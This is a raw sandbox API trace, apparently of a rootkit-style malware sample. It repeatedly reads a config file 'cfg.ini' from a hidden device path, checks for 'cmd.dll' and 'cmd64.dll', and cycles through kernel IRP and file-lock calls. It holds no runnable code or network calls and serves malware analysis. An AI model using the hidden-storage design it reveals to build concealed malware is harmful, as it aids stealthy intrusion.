ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.001] KeLeaveCriticalRegion () [0127.001] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.001] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.001] KeEnterCriticalRegion () [0127.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.001] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4a000 [0127.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.001] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.001] IdePortDispatch () returned 0x103 [0127.002] KeWaitForMutexObject () returned 0x0 [0127.002] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.002] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.002] IdePortDispatch () returned 0x103 [0127.002] KeWaitForMutexObject () returned 0x0 [0127.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.002] KeLeaveCriticalRegion () [0127.002] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.003] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.003] KeEnterCriticalRegion () [0127.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.003] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.003] KeLeaveCriticalRegion () [0127.003] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.003] KeEnterCriticalRegion () [0127.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.003] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.003] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.003] KeLeaveCriticalRegion () [0127.003] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.003] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.003] KeEnterCriticalRegion () [0127.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.003] ExFreePoolWithTag (P=0xfffffa800c4f7950, Tag=0x0) [0127.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.003] KeLeaveCriticalRegion () [0127.003] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.004] ReleaseMutex (hMutex=0xf0) returned 1 [0127.004] Sleep (dwMilliseconds=0x124f80) [0127.023] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.023] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.023] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.023] KeEnterCriticalRegion () [0127.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.023] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.023] IdePortDispatch () returned 0x103 [0127.023] KeWaitForMutexObject () returned 0x0 [0127.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.023] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.023] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.023] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.023] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.023] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7610 [0127.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.023] KeLeaveCriticalRegion () [0127.024] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.024] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.024] KeEnterCriticalRegion () [0127.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.024] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.024] KeLeaveCriticalRegion () [0127.024] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.024] KeEnterCriticalRegion () [0127.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.024] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.024] IdePortDispatch () returned 0x103 [0127.024] KeWaitForMutexObject () returned 0x0 [0127.024] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.024] KeLeaveCriticalRegion () [0127.024] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.024] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.024] KeEnterCriticalRegion () [0127.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4f000 [0127.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.025] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.025] IdePortDispatch () returned 0x103 [0127.025] KeWaitForMutexObject () returned 0x0 [0127.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.025] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.025] IdePortDispatch () returned 0x103 [0127.025] KeWaitForMutexObject () returned 0x0 [0127.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.025] KeLeaveCriticalRegion () [0127.025] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.026] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.026] KeEnterCriticalRegion () [0127.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.026] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.026] KeLeaveCriticalRegion () [0127.026] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.026] KeEnterCriticalRegion () [0127.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.026] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.026] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da8c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.026] KeLeaveCriticalRegion () [0127.026] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.026] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.027] KeEnterCriticalRegion () [0127.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.027] ExFreePoolWithTag (P=0xfffffa800c4f7610, Tag=0x0) [0127.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.027] KeLeaveCriticalRegion () [0127.027] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.027] ReleaseMutex (hMutex=0xf0) returned 1 [0127.027] Sleep (dwMilliseconds=0x124f80) [0127.037] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.041] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.041] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.041] KeEnterCriticalRegion () [0127.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.041] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.041] IdePortDispatch () returned 0x103 [0127.041] KeWaitForMutexObject () returned 0x0 [0127.041] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.041] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.041] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.042] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.042] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.042] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da590 [0127.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.042] KeLeaveCriticalRegion () [0127.042] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.042] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.042] KeEnterCriticalRegion () [0127.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.042] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.042] KeLeaveCriticalRegion () [0127.042] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.042] KeEnterCriticalRegion () [0127.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.042] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.042] IdePortDispatch () returned 0x103 [0127.042] KeWaitForMutexObject () returned 0x0 [0127.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.043] KeLeaveCriticalRegion () [0127.043] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.043] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.043] KeEnterCriticalRegion () [0127.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.043] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b73000 [0127.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.043] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.043] IdePortDispatch () returned 0x103 [0127.043] KeWaitForMutexObject () returned 0x0 [0127.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.043] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.043] IdePortDispatch () returned 0x103 [0127.044] KeWaitForMutexObject () returned 0x0 [0127.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.044] KeLeaveCriticalRegion () [0127.044] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.045] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.045] KeEnterCriticalRegion () [0127.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.045] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.045] KeLeaveCriticalRegion () [0127.045] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.045] KeEnterCriticalRegion () [0127.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.045] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.045] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.045] KeLeaveCriticalRegion () [0127.045] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.045] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.045] KeEnterCriticalRegion () [0127.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.045] ExFreePoolWithTag (P=0xfffffa80037da590, Tag=0x0) [0127.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.045] KeLeaveCriticalRegion () [0127.045] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.045] ReleaseMutex (hMutex=0xf0) returned 1 [0127.045] Sleep (dwMilliseconds=0x124f80) [0127.056] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.056] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.056] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.056] KeEnterCriticalRegion () [0127.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.056] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.057] IdePortDispatch () returned 0x103 [0127.057] KeWaitForMutexObject () returned 0x0 [0127.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.057] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.057] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.057] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.057] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.057] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da730 [0127.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.057] KeLeaveCriticalRegion () [0127.057] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.057] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.057] KeEnterCriticalRegion () [0127.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.057] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.057] KeLeaveCriticalRegion () [0127.057] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.057] KeEnterCriticalRegion () [0127.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.057] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.057] IdePortDispatch () returned 0x103 [0127.058] KeWaitForMutexObject () returned 0x0 [0127.058] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.058] KeLeaveCriticalRegion () [0127.058] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.058] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.058] KeEnterCriticalRegion () [0127.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b76000 [0127.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.058] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.058] IdePortDispatch () returned 0x103 [0127.059] KeWaitForMutexObject () returned 0x0 [0127.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.059] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.059] IdePortDispatch () returned 0x103 [0127.059] KeWaitForMutexObject () returned 0x0 [0127.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.059] KeLeaveCriticalRegion () [0127.059] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.060] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.060] KeEnterCriticalRegion () [0127.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.060] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 